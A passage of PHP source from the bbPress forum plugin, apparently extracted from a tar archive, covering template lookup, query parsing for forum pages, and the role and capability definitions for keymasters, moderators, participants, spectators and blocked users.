	// Remove empties and duplicates
	$stack = array_unique( array_filter( $stack ) );

	// Filter & return
	return (array) apply_filters( 'bbp_get_template_stack', $stack ) ;
}

/**
 * Get a template part in an output buffer, and return it
 *
 * @since 2.4.0 bbPress (r5043)
 *
 * @param string $slug
 * @param string $name
 * @return string
 */
function bbp_buffer_template_part( $slug, $name = null, $echo = true ) {
	ob_start();

	bbp_get_template_part( $slug, $name );

	// Get the output buffer contents
	$output = ob_get_clean();

	// Echo or return the output buffer contents
	if ( true === $echo ) {
		echo $output;
	} else {
		return $output;
	}
}

/**
 * Retrieve path to a template
 *
 * Used to quickly retrieve the path of a template without including the file
 * extension. It will also check the parent theme and theme-compat theme with
 * the use of {@link bbp_locate_template()}. Allows for more generic template
 * locations without the use of the other get_*_template() functions.
 *
 * @since 2.1.0 bbPress (r3629)
 *
 * @param string $type Filename without extension.
 * @param array $templates An optional list of template candidates
 * @return string Full path to file.
 */
function bbp_get_query_template( $type, $templates = array() ) {
	$type = preg_replace( '|[^a-z0-9-]+|', '', $type );

	// Fallback template
	if ( empty( $templates ) ) {
		$templates = array( "{$type}.php" );
	}

	// Filter possible templates
	$templates = apply_filters( "bbp_get_{$type}_template", $templates );

	// Stash the possible templates for this query, for later use
	bbp_set_theme_compat_templates( $templates );

	// Try to locate a template in the stack
	$template = bbp_locate_template( $templates );

	// Stash the located template for this query, for later use
	bbp_set_theme_compat_template( $template );

	// Filter & return
	return apply_filters( "bbp_{$type}_template", $template, $templates );
}

/**
 * Get the possible subdirectories to check for templates in
 *
 * @since 2.1.0 bbPress (r3738)
 *
 * @param array $templates Templates we are looking for
 * @return array Possible subdirectories to look in
 */
function bbp_get_template_locations( $templates = array() ) {
	$locations = array(
		'bbpress',
		'forums',
		''
	);

	// Filter & return
	return apply_filters( 'bbp_get_template_locations', $locations, $templates );
}

/**
 * Add template locations to template files being searched for
 *
 * @since 2.1.0 bbPress (r3738)
 *
 * @param array $stacks
 * @return array()
 */
function bbp_add_template_stack_locations( $stacks = array() ) {
	$retval = array();

	// Get alternate locations
	$locations = bbp_get_template_locations();

	// Loop through locations and stacks and combine
	foreach ( (array) $stacks as $stack ) {
		foreach ( (array) $locations as $custom_location ) {
			$retval[] = untrailingslashit( trailingslashit( $stack ) . $custom_location );
		}
	}

	// Filter & return
	return (array) apply_filters( 'bbp_add_template_stack_locations', array_unique( $retval ), $stacks );
}

/**
 * Add checks for bbPress conditions to parse_query action
 *
 * If it's a user page, WP_Query::bbp_is_single_user is set to true.
 *
 * If it's a user edit page, WP_Query::bbp_is_single_user_edit is set to true
 * and the the 'wp-admin/includes/user.php' file is included.
 *
 * In addition, on user/user edit pages, WP_Query::home is set to false & query
 * vars 'bbp_user_id' with the displayed user id is added.
 *
 * In 2.6.0, the 'author_name' variable is no longer set when viewing a single
 * user, because of is_author() weirdness. If this removal causes problems, it
 * may come back in a future release.
 *
 * If it's a forum edit, WP_Query::bbp_is_forum_edit is set to true
 * If it's a topic edit, WP_Query::bbp_is_topic_edit is set to true
 * If it's a reply edit, WP_Query::bbp_is_reply_edit is set to true.
 *
 * If it's a view page, WP_Query::bbp_is_view is set to true
 * If it's a search page, WP_Query::bbp_is_search is set to true
 *
 * @since 2.0.0 bbPress (r2688)
 *
 * @param WP_Query $posts_query
 */
function bbp_parse_query( $posts_query ) {

	// Bail if $posts_query is not the main loop
	if ( ! $posts_query->is_main_query() ) {
		return;
	}

	// Bail if filters are suppressed on this query
	if ( true === $posts_query->get( 'suppress_filters' ) ) {
		return;
	}

	// Bail if in admin
	if ( is_admin() ) {
		return;
	}

	// Get query variables (default to null if not set)
	$bbp_view  = $posts_query->get( bbp_get_view_rewrite_id(),   null );
	$bbp_user  = $posts_query->get( bbp_get_user_rewrite_id(),   null );
	$is_edit   = $posts_query->get( bbp_get_edit_rewrite_id(),   null );
	$is_search = $posts_query->get( bbp_get_search_rewrite_id(), null );

	// It is a user page - We'll also check if it is user edit
	if ( ! is_null( $bbp_user ) ) {

		/** Find User *********************************************************/

		// Setup the default user variable
		$the_user = false;

		// If using pretty permalinks, always use slug
		if ( get_option( 'permalink_structure' ) ) {
			$the_user = get_user_by( 'slug', $bbp_user );

		// If not using pretty permalinks, always use numeric ID
		} elseif ( is_numeric( $bbp_user ) ) {
			$the_user = get_user_by( 'id', $bbp_user );
		}

		// 404 and bail if user does not have a profile
		if ( empty( $the_user->ID ) || ! bbp_user_has_profile( $the_user->ID ) ) {
			$posts_query->bbp_is_404 = true;
			return;
		}

		/** User Exists *******************************************************/

		$is_favs        = $posts_query->get( bbp_get_user_favorites_rewrite_id()     );
		$is_subs        = $posts_query->get( bbp_get_user_subscriptions_rewrite_id() );
		$is_topics      = $posts_query->get( bbp_get_user_topics_rewrite_id()        );
		$is_replies     = $posts_query->get( bbp_get_user_replies_rewrite_id()       );
		$is_engagements = $posts_query->get( bbp_get_user_engagements_rewrite_id()   );

		// View or edit?
		if ( ! is_null( $is_edit ) ) {

			// We are editing a profile
			$posts_query->bbp_is_single_user_edit = true;

			// Load the core WordPress contact methods
			if ( ! function_exists( '_wp_get_user_contactmethods' ) ) {
				require_once ABSPATH . 'wp-includes/registration.php';
			}

			// Load the edit_user functions
			if ( ! function_exists( 'edit_user' ) ) {
				require_once ABSPATH . 'wp-admin/includes/user.php';
			}

			// Load the grant/revoke super admin functions
			if ( is_multisite() && ! function_exists( 'revoke_super_admin' ) ) {
				require_once ABSPATH . 'wp-admin/includes/ms.php';
			}

			// Editing a user
			$posts_query->bbp_is_edit = true;

		// User favorites
		} elseif ( ! empty( $is_favs ) ) {
			$posts_query->bbp_is_single_user_favs = true;

		// User subscriptions
		} elseif ( ! empty( $is_subs ) ) {
			$posts_query->bbp_is_single_user_subs = true;

		// User topics
		} elseif ( ! empty( $is_topics ) ) {
			$posts_query->bbp_is_single_user_topics = true;

		// User topics
		} elseif ( ! empty( $is_replies ) ) {
			$posts_query->bbp_is_single_user_replies = true;

		// User engagements
		} elseif ( ! empty( $is_engagements ) ) {
			$posts_query->bbp_is_single_user_engagements = true;

		// User profile
		} else {
			$posts_query->bbp_is_single_user_profile = true;
		}

		// Make sure 404 is not set
		$posts_query->is_404  = false;

		// Correct is_home variable
		$posts_query->is_home = false;

		// Looking at a single user
		$posts_query->bbp_is_single_user = true;

		// User found so don't 404 yet
		$posts_query->bbp_is_404 = false;

		// User is looking at their own profile
		if ( bbp_get_current_user_id() === $the_user->ID ) {
			$posts_query->bbp_is_single_user_home = true;
		}

		// Set bbp_user_id for future reference
		$posts_query->set( 'bbp_user_id', $the_user->ID );

		// Set the displayed user global to this user
		bbpress()->displayed_user = $the_user;

	// View Page
	} elseif ( ! is_null( $bbp_view ) ) {

		// Check if the view exists by checking if there are query args are set
		$view_args = bbp_get_view_query_args( $bbp_view );

		// Bail if view args are empty
		if ( empty( $view_args ) ) {
			$posts_query->bbp_is_404 = true;
			return;
		}

		// Correct is_home variable
		$posts_query->is_home     = false;

		// We are in a custom topic view
		$posts_query->bbp_is_view = true;

		// No 404 because views are all (currently) public
		$posts_query->bbp_is_404 = false;

	// Search Page
	} elseif ( ! is_null( $is_search ) ) {

		// Check if there are search query args set
		$search_terms = bbp_get_search_terms();
		if ( ! empty( $search_terms ) ) {
			$posts_query->bbp_search_terms = $search_terms;
		}

		// Correct is_home variable
		$posts_query->is_home = false;

		// We are in a search query
		$posts_query->bbp_is_search = true;

		// No 404 because search is always public
		$posts_query->bbp_is_404 = false;

	// Forum/Topic/Reply Edit Page
	} elseif ( ! is_null( $is_edit ) ) {

		// Get the post type from the main query loop
		$post_type = $posts_query->get( 'post_type' );

		// Check which post_type we are editing, if any
		if ( ! empty( $post_type ) ) {
			switch ( $post_type ) {

				// We are editing a forum
				case bbp_get_forum_post_type() :
					$posts_query->bbp_is_forum_edit  = true;
					$posts_query->bbp_is_edit        = true;
					$posts_query->bbp_is_404         = false;
					break;

				// We are editing a topic
				case bbp_get_topic_post_type() :
					$posts_query->bbp_is_topic_edit  = true;
					$posts_query->bbp_is_edit        = true;
					$posts_query->bbp_is_404         = false;
					break;

				// We are editing a reply
				case bbp_get_reply_post_type() :
					$posts_query->bbp_is_reply_edit  = true;
					$posts_query->bbp_is_edit        = true;
					$posts_query->bbp_is_404         = false;
					break;
			}

		// We are editing a topic tag
		} elseif ( bbp_is_topic_tag() ) {
			$posts_query->bbp_is_topic_tag_edit = true;
			$posts_query->bbp_is_edit           = true;
			$posts_query->bbp_is_404            = false;
		}

		// We save post revisions on our own
		remove_action( 'pre_post_update', 'wp_save_post_revision' );

	// Topic tag page
	} elseif ( bbp_is_topic_tag() ) {
		$posts_query->set( 'bbp_topic_tag',  get_query_var( 'term' )   );
		$posts_query->set( 'post_type',      bbp_get_topic_post_type() );
		$posts_query->set( 'posts_per_page', bbp_get_topics_per_page() );

	// Do topics on forums root
	} elseif ( is_post_type_archive( bbp_get_post_types( array( 'has_archive' => true ) ) ) && ( 'topics' === bbp_show_on_root() ) ) {
		$posts_query->bbp_show_topics_on_root = true;
	}
}
includes/core/capabilities.php000066600000032315151771460310012461 0ustar00<?php

/**
 * bbPress Capabilites
 *
 * The functions in this file are used primarily as convenient wrappers for
 * capability output in user profiles. This includes mapping capabilities and
 * groups to human readable strings,
 *
 * @package bbPress
 * @subpackage Capabilities
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Mapping *******************************************************************/

/**
 * Returns an array of capabilities based on the role that is being requested.
 *
 * @since 2.0.0 bbPress (r2994)
 *
 * @todo Map all of these and deprecate
 *
 * @param string $role Optional. Defaults to The role to load caps for
 *
 * @return array Capabilities for $role
 */
function bbp_get_caps_for_role( $role = '' ) {

	// Which role are we looking for?
	switch ( $role ) {

		// Keymaster
		case bbp_get_keymaster_role() :
			$caps = array(

				// Keymasters only
				'keep_gate'             => true,

				// Primary caps
				'spectate'              => true,
				'participate'           => true,
				'moderate'              => true,
				'throttle'              => true,
				'view_trash'            => true,
				'assign_moderators'     => true,

				// Forum caps
				'publish_forums'        => true,
				'edit_forums'           => true,
				'edit_others_forums'    => true,
				'delete_forums'         => true,
				'delete_others_forums'  => true,
				'read_private_forums'   => true,
				'read_hidden_forums'    => true,

				// Topic caps
				'publish_topics'        => true,
				'edit_topics'           => true,
				'edit_others_topics'    => true,
				'delete_topics'         => true,
				'delete_others_topics'  => true,
				'read_private_topics'   => true,

				// Reply caps
				'publish_replies'       => true,
				'edit_replies'          => true,
				'edit_others_replies'   => true,
				'delete_replies'        => true,
				'delete_others_replies' => true,
				'read_private_replies'  => true,

				// Topic tag caps
				'manage_topic_tags'     => true,
				'edit_topic_tags'       => true,
				'delete_topic_tags'     => true,
				'assign_topic_tags'     => true
			);

			break;

		// Moderator
		case bbp_get_moderator_role() :
			$caps = array(

				// Primary caps
				'spectate'              => true,
				'participate'           => true,
				'moderate'              => true,
				'throttle'              => true,
				'view_trash'            => true,
				'assign_moderators'     => true,

				// Forum caps
				'publish_forums'        => true,
				'edit_forums'           => true,
				'read_private_forums'   => true,
				'read_hidden_forums'    => true,

				// Topic caps
				'publish_topics'        => true,
				'edit_topics'           => true,
				'edit_others_topics'    => true,
				'delete_topics'         => true,
				'delete_others_topics'  => true,
				'read_private_topics'   => true,

				// Reply caps
				'publish_replies'       => true,
				'edit_replies'          => true,
				'edit_others_replies'   => true,
				'delete_replies'        => true,
				'delete_others_replies' => true,
				'read_private_replies'  => true,

				// Topic tag caps
				'manage_topic_tags'     => true,
				'edit_topic_tags'       => true,
				'delete_topic_tags'     => true,
				'assign_topic_tags'     => true,
			);

			break;

		// Spectators can only read
		case bbp_get_spectator_role()   :
			$caps = array(

				// Primary caps
				'spectate'              => true,
			);

			break;

		// Explicitly blocked
		case bbp_get_blocked_role() :
			$caps = array(

				// Primary caps
				'spectate'              => false,
				'participate'           => false,
				'moderate'              => false,
				'throttle'              => false,
				'view_trash'            => false,

				// Forum caps
				'publish_forums'        => false,
				'edit_forums'           => false,
				'edit_others_forums'    => false,
				'delete_forums'         => false,
				'delete_others_forums'  => false,
				'read_private_forums'   => false,
				'read_hidden_forums'    => false,

				// Topic caps
				'publish_topics'        => false,
				'edit_topics'           => false,
				'edit_others_topics'    => false,
				'delete_topics'         => false,
				'delete_others_topics'  => false,
				'read_private_topics'   => false,

				// Reply caps
				'publish_replies'       => false,
				'edit_replies'          => false,
				'edit_others_replies'   => false,
				'delete_replies'        => false,
				'delete_others_replies' => false,
				'read_private_replies'  => false,

				// Topic tag caps
				'manage_topic_tags'     => false,
				'edit_topic_tags'       => false,
				'delete_topic_tags'     => false,
				'assign_topic_tags'     => false,
			);

			break;

		// Participant/Default
		case bbp_get_participant_role() :
		default :
			$caps = array(

				// Primary caps
				'spectate'              => true,
				'participate'           => true,

				// Forum caps
				'read_private_forums'   => true,

				// Topic caps
				'publish_topics'        => true,
				'edit_topics'           => true,

				// Reply caps
				'publish_replies'       => true,
				'edit_replies'          => true,

				// Topic tag caps
				'assign_topic_tags'     => true,
			);

			break;
	}

	// Filter & return
	return apply_filters( 'bbp_get_caps_for_role', $caps, $role );
}

/**
 * Adds capabilities to WordPress user roles.
 *
 * @since 2.0.0 bbPress (r2608)
 */
function bbp_add_caps() {

	// Loop through available roles and add caps
	foreach ( bbp_get_wp_roles()->role_objects as $role ) {
		foreach ( bbp_get_caps_for_role( $role->name ) as $cap => $value ) {
			$role->add_cap( $cap, $value );
		}
	}

	do_action( 'bbp_add_caps' );
}

/**
 * Removes capabilities from WordPress user roles.
 *
 * @since 2.0.0 bbPress (r2608)
 */
function bbp_remove_caps() {

	// Loop through available roles and remove caps
	foreach ( bbp_get_wp_roles()->role_objects as $role ) {
		foreach ( array_keys( bbp_get_caps_for_role( $role->name ) ) as $cap ) {
			$role->remove_cap( $cap );
		}
	}

	do_action( 'bbp_remove_caps' );
}

/**
 * Get the available roles, minus the dynamic roles that come with bbPress
 *
 * @since 2.4.0 bbPress (r5064)
 *
 * @return array
 */
function bbp_get_blog_roles() {

	// Get WordPress's roles (returns $wp_roles global)
	$wp_roles = bbp_get_wp_roles();

	// Apply the WordPress 'editable_roles' filter to let plugins ride along.
	//
	// We use this internally via bbp_filter_blog_editable_roles() to remove
	// any custom bbPress roles that are added to the global.
	$the_roles = isset( $wp_roles->roles ) ? $wp_roles->roles : false;
	$all_roles = apply_filters( 'editable_roles', $the_roles );

	// Filter & return
	return apply_filters( 'bbp_get_blog_roles', $all_roles, $wp_roles );
}

/** Forum Roles ***************************************************************/

/**
 * Add the bbPress roles to the $wp_roles global.
 *
 * We do this to avoid adding these values to the database.
 *
 * Note: bbPress is purposely assertive here, overwriting any keys & values
 * that may already exist in the $wp_roles array.
 *
 * @since 2.2.0 bbPress (r4290)
 *
 * @param WP_Roles $wp_roles The array of WP_Role objects that was initialized
 *
 * @return WP_Roles The main $wp_roles global
 */
function bbp_add_forums_roles( $wp_roles = null ) {

	// Get the dynamic roles
	$bbp_roles = bbp_get_dynamic_roles();

	// Loop through dynamic roles and add them to the $wp_roles array
	foreach ( $bbp_roles as $role_id => $details ) {
		$wp_roles->roles[ $role_id ]        = $details;
		$wp_roles->role_objects[ $role_id ] = new WP_Role( $role_id, $details['capabilities'] );
		$wp_roles->role_names[ $role_id ]   = $details['name'];
	}

	// Return the modified $wp_roles array
	return $wp_roles;
}

/**
 * Helper function to add filter to option_wp_user_roles
 *
 * @since 2.2.0 bbPress (r4363)
 * @deprecated 2.6.0 bbPress (r6105)
 *
 * @see _bbp_reinit_dynamic_roles()
 */
function bbp_filter_user_roles_option() {
	$role_key = bbp_db()->prefix . 'user_roles';

	add_filter( 'option_' . $role_key, '_bbp_reinit_dynamic_roles' );
}

/**
 * This is necessary because in a few places (noted below) WordPress initializes
 * a blog's roles directly from the database option. When this happens, the
 * $wp_roles global gets flushed, causing a user to magically lose any
 * dynamically assigned roles or capabilities when $current_user in refreshed.
 *
 * Because dynamic multiple roles is a new concept in WordPress, we work around
 * it here for now, knowing that improvements will come to WordPress core later.
 *
 * Also note that if using the $wp_user_roles global non-database approach,
 * bbPress does not have an intercept point to add its dynamic roles.
 *
 * @see bbp_switch_to_site()
 * @see bbp_restore_current_site()
 * @see WP_Roles::_init()
 *
 * @since 2.2.0 bbPress (r4363)
 * @deprecated 2.6.0 bbPress (r6105)
 *
 * @internal Used by bbPress to reinitialize dynamic roles on blog switch
 *
 * @param array $roles
 * @return array Combined array of database roles and dynamic bbPress roles
 */
function _bbp_reinit_dynamic_roles( $roles = array() ) {
	foreach ( bbp_get_dynamic_roles() as $role_id => $details ) {
		$roles[ $role_id ] = $details;
	}
	return $roles;
}

/**
 * Fetch a filtered list of forum roles that the current user is
 * allowed to have.
 *
 * Simple function who's main purpose is to allow filtering of the
 * list of forum roles so that plugins can remove inappropriate ones depending
 * on the situation or user making edits.
 *
 * Specifically because without filtering, anyone with the edit_users
 * capability can edit others to be administrators, even if they are
 * only editors or authors. This filter allows admins to delegate
 * user management.
 *
 * @since 2.2.0 bbPress (r4284)
 * @since 2.6.0 bbPress (r6117) Use bbpress()->roles
 *
 * @return array
 */
function bbp_get_dynamic_roles() {

	// Defaults
	$to_array = array();
	$roles    = bbpress()->roles;

	// Convert WP_Roles objects to arrays
	foreach ( $roles as $role_id => $wp_role ) {
		$to_array[ $role_id ] = (array) $wp_role;
	}

	// Filter & return
	return (array) apply_filters( 'bbp_get_dynamic_roles', $to_array, $roles );
}

/**
 * Gets a translated role name from a role ID
 *
 * @since 2.3.0 bbPress (r4792)
 * @since 2.6.0 bbPress (r6117) Use bbp_translate_user_role()
 *
 * @param string $role_id
 * @return string Translated role name
 */
function bbp_get_dynamic_role_name( $role_id = '' ) {
	$roles = bbp_get_dynamic_roles();
	$role  = isset( $roles[ $role_id ] )
		? bbp_translate_user_role( $roles[ $role_id ]['name'] )
		: '';

	// Filter & return
	return apply_filters( 'bbp_get_dynamic_role_name', $role, $role_id, $roles );
}

/**
 * Removes the bbPress roles from the editable roles array
 *
 * This used to use array_diff_assoc() but it randomly broke before 2.2 release.
 * Need to research what happened, and if there's a way to speed this up.
 *
 * @since 2.2.0 bbPress (r4303)
 *
 * @param array $all_roles All registered roles
 * @return array
 */
function bbp_filter_blog_editable_roles( $all_roles = array() ) {

	// Loop through bbPress roles
	foreach ( array_keys( bbp_get_dynamic_roles() ) as $bbp_role ) {

		// Loop through WordPress roles
		foreach ( array_keys( $all_roles ) as $wp_role ) {

			// If keys match, unset
			if ( $wp_role === $bbp_role ) {
				unset( $all_roles[ $wp_role ] );
			}
		}
	}

	return $all_roles;
}

/**
 * The keymaster role for bbPress users
 *
 * @since 2.2.0 bbPress (r4284)
 *
 * @return string
 */
function bbp_get_keymaster_role() {

	// Filter & return
	return apply_filters( 'bbp_get_keymaster_role', 'bbp_keymaster' );
}

/**
 * The moderator role for bbPress users
 *
 * @since 2.0.0 bbPress (r3410)
 *
 * @return string
 */
function bbp_get_moderator_role() {

	// Filter & return
	return apply_filters( 'bbp_get_moderator_role', 'bbp_moderator' );
}

/**
 * The participant role for registered user that can participate in forums
 *
 * @since 2.0.0 bbPress (r3410)
 *
 * @return string
 */
function bbp_get_participant_role() {

	// Filter & return
	return apply_filters( 'bbp_get_participant_role', 'bbp_participant' );
}

/**
 * The spectator role is for registered users without any capabilities
 *
 * @since 2.1.0 bbPress (r3860)
 *
 * @return string
 */
function bbp_get_spectator_role() {

	// Filter & return
	return apply_filters( 'bbp_get_spectator_role', 'bbp_spectator' );
}

/**
 * The blocked role is for registered users that cannot spectate or participate
 *
 * @since 2.2.0 bbPress (r4284)
 *
 * @return string
 */
function bbp_get_blocked_role() {

	// Filter & return
	return apply_filters( 'bbp_get_blocked_role', 'bbp_blocked' );
}

/**
 * Adds bbPress-specific user roles.
 *
 * @since 2.0.0 bbPress (r2741)
 *
 * @deprecated 2.2.0 bbPress (r4164)
 */
function bbp_add_roles() {
	_doing_it_wrong( 'bbp_add_roles', esc_html__( 'Editable forum roles no longer exist.', 'bbpress' ), '2.2' );
}

/**
 * Removes bbPress-specific user roles from the `wp_user_roles` array.
 *
 * This is currently only used when updating, uninstalling, or resetting bbPress.
 *
 * @see	bbp_admin_reset_handler()
 * @see bbp_do_uninstall()
 * @see bbp_version_updater()
 *
 * @since 2.0.0 bbPress (r2741)
 */
function bbp_remove_roles() {

	// Remove the bbPress roles
	foreach ( array_keys( bbp_get_dynamic_roles() ) as $bbp_role ) {
		remove_role( $bbp_role );
	}

	// Some early adopters may have a deprecated visitor role. It was later
	// replaced by the Spectator role.
	remove_role( 'bbp_visitor' );
}
includes/core/template-loader.php000066600000031400151771460310013101 0ustar00<?php

/**
 * bbPress Template Loader
 *
 * @package bbPress
 * @subpackage TemplateLoader
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Possibly intercept the template being loaded
 *
 * Listens to the 'template_include' filter and waits for any bbPress specific
 * template condition to be met. If one is met and the template file exists,
 * it will be used; otherwise
 *
 * Note that the _edit() checks are ahead of their counterparts, to prevent them
 * from being stomped on accident.
 *
 * @since 2.0.0 bbPress (r3032)
 *
 * @param string $template
 *
 * @return string The path to the template file that is being used
 */
function bbp_template_include_theme_supports( $template = '' ) {

	// Editing a user
	if     ( bbp_is_single_user_edit() && ( $new_template = bbp_get_single_user_edit_template() ) ) :

	// User favorites
	elseif ( bbp_is_favorites()        && ( $new_template = bbp_get_favorites_template()        ) ) :

	// User favorites
	elseif ( bbp_is_subscriptions()    && ( $new_template = bbp_get_subscriptions_template()    ) ) :

	// Viewing a user
	elseif ( bbp_is_single_user()      && ( $new_template = bbp_get_single_user_template()      ) ) :

	// Single View
	elseif ( bbp_is_single_view()      && ( $new_template = bbp_get_single_view_template()      ) ) :

	// Search
	elseif ( bbp_is_search()           && ( $new_template = bbp_get_search_template()           ) ) :

	// Forum edit
	elseif ( bbp_is_forum_edit()       && ( $new_template = bbp_get_forum_edit_template()       ) ) :

	// Single Forum
	elseif ( bbp_is_single_forum()     && ( $new_template = bbp_get_single_forum_template()     ) ) :

	// Forum Archive
	elseif ( bbp_is_forum_archive()    && ( $new_template = bbp_get_forum_archive_template()    ) ) :

	// Topic merge
	elseif ( bbp_is_topic_merge()      && ( $new_template = bbp_get_topic_merge_template()      ) ) :

	// Topic split
	elseif ( bbp_is_topic_split()      && ( $new_template = bbp_get_topic_split_template()      ) ) :

	// Topic edit
	elseif ( bbp_is_topic_edit()       && ( $new_template = bbp_get_topic_edit_template()       ) ) :

	// Single Topic
	elseif ( bbp_is_single_topic()     && ( $new_template = bbp_get_single_topic_template()     ) ) :

	// Topic Archive
	elseif ( bbp_is_topic_archive()    && ( $new_template = bbp_get_topic_archive_template()    ) ) :

	// Reply move
	elseif ( bbp_is_reply_move()       && ( $new_template = bbp_get_reply_move_template()       ) ) :

	// Editing a reply
	elseif ( bbp_is_reply_edit()       && ( $new_template = bbp_get_reply_edit_template()       ) ) :

	// Single Reply
	elseif ( bbp_is_single_reply()     && ( $new_template = bbp_get_single_reply_template()     ) ) :

	// Editing a topic tag
	elseif ( bbp_is_topic_tag_edit()   && ( $new_template = bbp_get_topic_tag_edit_template()   ) ) :

	// Viewing a topic tag
	elseif ( bbp_is_topic_tag()        && ( $new_template = bbp_get_topic_tag_template()        ) ) :
	endif;

	// A bbPress template file was located, so override the WordPress template
	// and use it to switch off theme compatibility.
	if ( ! empty( $new_template ) ) {
		$template = bbp_set_template_included( $new_template );
	}

	// Filter & return
	return apply_filters( 'bbp_template_include_theme_supports', $template );
}

/**
 * Set the included template
 *
 * @since 2.4.0 bbPress (r4975)
 *
 * @param mixed $template Default false
 * @return mixed False if empty. Template name if template included
 */
function bbp_set_template_included( $template = false ) {
	bbpress()->theme_compat->bbpress_template = $template;

	return bbpress()->theme_compat->bbpress_template;
}

/**
 * Is a bbPress template being included?
 *
 * @since 2.4.0 bbPress (r4975)
 *
 * @return bool True if yes, false if no
 */
function bbp_is_template_included() {
	return ! empty( bbpress()->theme_compat->bbpress_template );
}

/** Custom Functions **********************************************************/

/**
 * Attempt to load a custom bbPress functions file, similar to each themes
 * functions.php file.
 *
 * @since 2.1.0 bbPress (r3732)
 *
 * @global string $pagenow
 */
function bbp_load_theme_functions() {
	global $pagenow;

	// If bbPress is being deactivated, do not load any more files
	if ( bbp_is_deactivation() ) {
		return;
	}

	if ( ! defined( 'WP_INSTALLING' ) || ( ! empty( $pagenow ) && ( 'wp-activate.php' !== $pagenow ) ) ) {
		bbp_locate_template( 'bbpress-functions.php', true );
	}
}

/** Individual Templates ******************************************************/

/**
 * Get the user profile template
 *
 * @since 2.0.0 bbPress (r3311)
 *
 * @return string Path to template file
 */
function bbp_get_single_user_template() {
	$nicename  = bbp_get_displayed_user_field( 'user_nicename' );
	$user_id   = bbp_get_displayed_user_id();
	$templates = array(
		'single-user-' . $nicename . '.php', // Single User nicename
		'single-user-' . $user_id  . '.php', // Single User ID
		'single-user.php',                   // Single User
		'user.php',                          // User
	);
	return bbp_get_query_template( 'profile', $templates );
}

/**
 * Get the user profile edit template
 *
 * @since 2.0.0 bbPress (r3311)
 *
 * @return string Path to template file
 */
function bbp_get_single_user_edit_template() {
	$nicename  = bbp_get_displayed_user_field( 'user_nicename' );
	$user_id   = bbp_get_displayed_user_id();
	$templates = array(
		'single-user-edit-' . $nicename . '.php', // Single User Edit nicename
		'single-user-edit-' . $user_id  . '.php', // Single User Edit ID
		'single-user-edit.php',                   // Single User Edit
		'user-edit.php',                          // User Edit
		'user.php',                               // User
	);
	return bbp_get_query_template( 'profile_edit', $templates );
}

/**
 * Get the user favorites template
 *
 * @since 2.2.0 bbPress (r4225)
 *
 * @return string Path to template file
 */
function bbp_get_favorites_template() {
	$nicename  = bbp_get_displayed_user_field( 'user_nicename' );
	$user_id   = bbp_get_displayed_user_id();
	$templates = array(
		'single-user-favorites-' . $nicename . '.php', // Single User Favs nicename
		'single-user-favorites-' . $user_id  . '.php', // Single User Favs ID
		'favorites-' . $nicename  . '.php',            // Favorites nicename
		'favorites-' . $user_id   . '.php',            // Favorites ID
		'favorites.php',                               // Favorites
		'user.php',                                    // User
	);
	return bbp_get_query_template( 'favorites', $templates );
}

/**
 * Get the user subscriptions template
 *
 * @since 2.2.0 bbPress (r4225)
 *
 * @return string Path to template file
 */
function bbp_get_subscriptions_template() {
	$nicename  = bbp_get_displayed_user_field( 'user_nicename' );
	$user_id   = bbp_get_displayed_user_id();
	$templates = array(
		'single-user-subscriptions-' . $nicename . '.php', // Single User Subs nicename
		'single-user-subscriptions-' . $user_id  . '.php', // Single User Subs ID
		'subscriptions-' . $nicename  . '.php',            // Subscriptions nicename
		'subscriptions-' . $user_id   . '.php',            // Subscriptions ID
		'subscriptions.php',                               // Subscriptions
		'user.php',                                        // User
	);
	return bbp_get_query_template( 'subscriptions', $templates );
}

/**
 * Get the view template
 *
 * @since 2.0.0 bbPress (r3311)
 *
 * @return string Path to template file
 */
function bbp_get_single_view_template() {
	$view_id   = bbp_get_view_id();
	$templates = array(
		'single-view-' . $view_id . '.php', // Single View ID
		'view-'        . $view_id . '.php', // View ID
		'single-view.php',                  // Single View
		'view.php',                         // View
	);
	return bbp_get_query_template( 'single_view', $templates );
}

/**
 * Get the search template
 *
 * @since 2.3.0 bbPress (r4579)
 *
 * @return string Path to template file
 */
function bbp_get_search_template() {
	$templates = array(
		'page-forum-search.php', // Single Search
		'forum-search.php',      // Search
	);
	return bbp_get_query_template( 'single_search', $templates );
}

/**
 * Get the single forum template
 *
 * @since 2.1.0 bbPress (r3922)
 *
 * @return string Path to template file
 */
function bbp_get_single_forum_template() {
	$templates = array(
		'single-' . bbp_get_forum_post_type() . '.php' // Single Forum
	);
	return bbp_get_query_template( 'single_forum', $templates );
}

/**
 * Get the forum archive template
 *
 * @since 2.1.0 bbPress (r3922)
 *
 * @return string Path to template file
 */
function bbp_get_forum_archive_template() {
	$templates = array(
		'archive-' . bbp_get_forum_post_type() . '.php' // Forum Archive
	);
	return bbp_get_query_template( 'forum_archive', $templates );
}

/**
 * Get the forum edit template
 *
 * @since 2.1.0 bbPress (r3566)
 *
 * @return string Path to template file
 */
function bbp_get_forum_edit_template() {
	$templates = array(
		'single-' . bbp_get_forum_post_type() . '-edit.php' // Single Forum Edit
	);
	return bbp_get_query_template( 'forum_edit', $templates );
}

/**
 * Get the single topic template
 *
 * @since 2.1.0 bbPress (r3922)
 *
 * @return string Path to template file
 */
function bbp_get_single_topic_template() {
	$templates = array(
		'single-' . bbp_get_topic_post_type() . '.php'
	);
	return bbp_get_query_template( 'single_topic', $templates );
}

/**
 * Get the topic archive template
 *
 * @since 2.1.0 bbPress (r3922)
 *
 * @return string Path to template file
 */
function bbp_get_topic_archive_template() {
	$templates = array(
		'archive-' . bbp_get_topic_post_type() . '.php' // Topic Archive
	);
	return bbp_get_query_template( 'topic_archive', $templates );
}

/**
 * Get the topic edit template
 *
 * @since 2.0.0 bbPress (r3311)
 *
 * @return string Path to template file
 */
function bbp_get_topic_edit_template() {
	$templates = array(
		'single-' . bbp_get_topic_post_type() . '-edit.php' // Single Topic Edit
	);
	return bbp_get_query_template( 'topic_edit', $templates );
}

/**
 * Get the topic split template
 *
 * @since 2.0.0 bbPress (r3311)
 *
 * @return string Path to template file
 */
function bbp_get_topic_split_template() {
	$templates = array(
		'single-' . bbp_get_topic_post_type() . '-split.php', // Topic Split
	);
	return bbp_get_query_template( 'topic_split', $templates );
}

/**
 * Get the topic merge template
 *
 * @since 2.0.0 bbPress (r3311)
 *
 * @return string Path to template file
 */
function bbp_get_topic_merge_template() {
	$templates = array(
		'single-' . bbp_get_topic_post_type() . '-merge.php', // Topic Merge
	);
	return bbp_get_query_template( 'topic_merge', $templates );
}

/**
 * Get the single reply template
 *
 * @since 2.1.0 bbPress (r3922)
 *
